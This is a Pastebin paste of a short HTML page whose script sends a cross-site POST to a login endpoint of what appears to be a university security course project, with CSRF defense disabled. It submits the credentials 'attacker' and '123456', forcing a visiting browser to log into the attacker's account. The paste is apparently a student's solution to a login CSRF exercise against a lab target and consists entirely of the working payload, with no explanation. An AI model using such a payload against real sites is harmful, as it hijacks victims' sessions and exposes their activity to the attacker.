Advertisement
Guest User

Untitled

a guest
Oct 25th, 2017
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. <head></head>
  2. <body>
  3. <script>
  4. console.log('tits');
  5. var xhr = new XMLHttpRequest();
  6. xhr.open("POST", 'http://cis331.cis.upenn.edu/project3/login?csrfdefense=0&xssdefense=4', true);
  7. xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
  8. xhr.send("username=attacker&password=123456");
  9.  
  10. </script>
  11. </body>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement